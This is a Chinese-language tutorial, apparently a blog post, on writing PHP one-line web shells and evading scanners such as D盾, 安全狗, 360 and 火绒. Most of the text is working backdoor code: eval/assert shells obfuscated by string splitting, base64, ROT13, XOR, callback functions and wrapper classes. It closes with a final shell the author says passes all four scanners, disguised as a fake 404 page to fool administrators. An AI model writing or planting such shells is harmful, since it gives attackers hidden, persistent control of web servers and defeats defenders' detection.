0、一句话木马如何工作
我们都知道,我们通过上传一句话木马,可以根据网站的权限执行一些命令,或者进行文件上传、执行等操作。但是突然发现自己对一句话木马是如何执行系统的命令这个问题还是不太熟悉,这里也是又学习记录了下。
首先我们使用的eval()、assert(),以及一些回调函数,都有一个相同的特点,就是会将字符串作为代码执行,通过这样的方式,我们就可以将我们传入的变量,作为php代码进行执行。
假如 我们在木马中输入abc=echo "Hello world;"那么我们实际上木马就会变为
<?php @eval($_POST["echo Hello world;"])?> 这时eval函数会将我们输入的字符串转变为可以执行的命令,也就是等于我们在php中执行了echo "Hello World",我们的网页上也就会将Hello World打印出来。
但是这样还不够,这样仅仅是能执行我们的php中的代码,我们可以执行一些phpinfo()等php中自带的函数去获得我们想要的信息。但是如何去执行系统的命令呢?这个时候我们就需要system()、exec()等函数,这些函数在php中可以将传入的字符串作为系统命令进行执行,那么我们只需要在我们的木马中传入这些函数,并在这些函数中传入我们的系统命令,就可以达到我们执行系统命令的效果。
使用assert()执行系统命令
使用eval()执行系统命令
除此之外,我们还可以通过php中自带的一些其他的函数,来对我们的系统进行操作。例如查看文件的函数opendir() readdir()、上传的函数move_uploaded_file()等等。
1、普通的一句话
<?php @eval($_POST['abc']);?>
<?php assert($_POST['abc']);?>
eval()函数
该函数将字符串按照php代码来计算,也就是会将我们输入的命令来当作代码执行
assert()函数
assert()函数在php是作为断言函数的,其实就是用于在代码中捕获一些我们做出的假设。他与eval函数有着同样的特性,就是如果asser中传入的参数为字符串,那么这些字符串会被当做PHP代码来执行。
eval()与assert()函数也是我们日常在一句话中见的最多的,但是由于他们用的多,所以被狗查的也特别严,所以我认为免杀的重要一点就是隐藏这些敏感的后门函数,让狗找不到这些函数,这样也就达到了免杀的效果。(当然,这是还是不够的,做到这些仅仅是马传上去后不会被检测到,当连接的时候如果不对流量进行加密什么的,还是很容易通过流量发现的。
2、采用字符串拼接的方式构造敏感函数
我们可以通过字符串拼接的方式,来将我们的敏感函数进行拼接来达到隐藏的目的。当然我们也可以将我们的字符串分开存放在数组中,然后再利用拼接的方法合并成函数,效果也是一样的。
比如这样,将敏感函数assert分成3个变量,然后拼接成一个,通过变量的方式去使用我们的函数。但是这种方法用在eval里是不行的,eval函数不支持通过变量的方式去调用。
<?php
$a = 'ass';
$b = 'er';
$c = 't';
$d = $a.$b.$c;
$d($_POST['abc']);
?>
可以看到使用D盾进行查杀,还是可以发现我们的变量,但是级别仅仅为2。
3、编码绕过
在php中base64_decode()函数,会自动将自己不认识的字符给过滤掉,然后重新组合进行解码,如果利用这个思路来构造。
<?php
$e=base64_decode("YXNz啊的部分撒旦ZXJ0安全狗");
$e($_POST['abc']);
?>
使用D盾进行查杀,发现这种绕过方式已经被记录了,被曝已知后门。
str_rot13()函数会将字符串执行ROT13编码,我们可以通过最终的编码来获取assert。
<?php
$c=str_rot13('nffreg');
$c($_POST['abc']);
?>
D盾还是可以检查到。
4、动态函数绕过
在php中有个函数的写法叫做动态函数,我们可以通过将函数作为变量来进行使用,我们的变量a代表的是assert,我们将该函数写成变量,然后通过该变量来当作函数进行执行。
<?php
$a = 'assert';
$b = '_POST';
$a($$b['abc']);
?>
使用D盾进行查杀,发现还是可以查到我们使用的assert函数
5、异或绕过
我们可以使用异或的方式,来得到我们想要的字母,然后利用拼接的方式,来得到我们想要的字符串,通过这些字符串去当作函数来让我们的木马被执行。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
$___=$$__;$_($___[_]);
?>
当然,我使用的这种异或的方式已经被记录在案了,需要更换进行异或的符合。
6、回调函数绕过
我们可以使用一些冷门的回调函数进行绕过,比如forward_static_call_array函数。抵押给参数为我们要调用的函数或者方法,第二个参数为给上一个函数或者方法传入的一个或多个参数。
<?php
forward_static_call_array(assert,array($_POST[abc]));
?>
好吧,这个函数现在也被检测了
除此之外,php中还有很多回调函数可以去利用,如:
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
7、函数绕过
我们在php中,可以去自定义一些函数,在这些函数中去执行我们的敏感函数来达到绕过的目的。
<?php
function NH($a,$b){
@$a($b)
}
NH(assert,$_POST['abc']);
?>
虽然还是可以被检查到,但是如果我们在进一步升级,换成在函数中使用回调函数呢?
<?php
function NH($acd){
forward_static_call_array($acd,array($_POST['abc']));
}
NH(assert);
?>
发现我们的检测级别只有1了,而且检测到的是刚刚直接被识别为后门的可疑回调函数,如果我们用一个不那么可以的函数,就可以完美绕过了。
8、类绕过
<?php
class NH {
function __construct($a) {
$c=$a;
forward_static_call_array($c,array($_POST['abc']));
}
}
$p1=new NH(eval);
?>
级别仍为1,可见forward_static_call_arry这个函数被查的还是很严,必须得换了。
9、隐藏木马
上面的仅仅是我们绕过一些杀软的方法,但是这样的马,在人的眼中,还是可以轻易的被发现的,而这时如何隐藏我们的马呢,我们可以在php代码中增加phpinfo(),让人误以为是正常的phpinfo()界面,还可以直接写个404的页面出来,或者写成其他的正常界面,来使人也难以辨别我们的木马。
这就是常用的一些免杀方法,虽然单一的方法不能够做到免杀,但是如果我们将上述的多种方法结合起来一起使用,还是可以很轻松的写出很多绕狗的马,毕竟规则是人写的,是人写的,就一定会存在漏洞,引用大佬的一句话,网络本来是安全的,但自从有了人就变得不安全了。
在我的测试下可以通过D盾、安全狗、360杀毒和火绒。不过需要注意的是,在执行命令的时候要先将命令进行一下base64加密再进行执行。
<?php
class HelWo{
var $th;
function __construct($a) {
$this->th=$a;
}
function HAA(){
return $this->th;
}
}
class HelA{
var $th;
function __construct($a) {
$this->th=$a;
}
function el(){
eval($this->th);
}
}
$info = base64_decode($_POST['abc']);
$hew=new HelWo($info);
$heww=new HelA($hew->HAA());
$heww->el();
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>404</title>
<style>
body{
background-color:#444;
font-size:14px;
}
h3{
font-size:60px;
color:#eee;
text-align:center;
padding-top:30px;
font-weight:normal;
}
</style>
</head>
<body>
<h3>404,您请求的文件不存在!</h3>
</body>
</html> |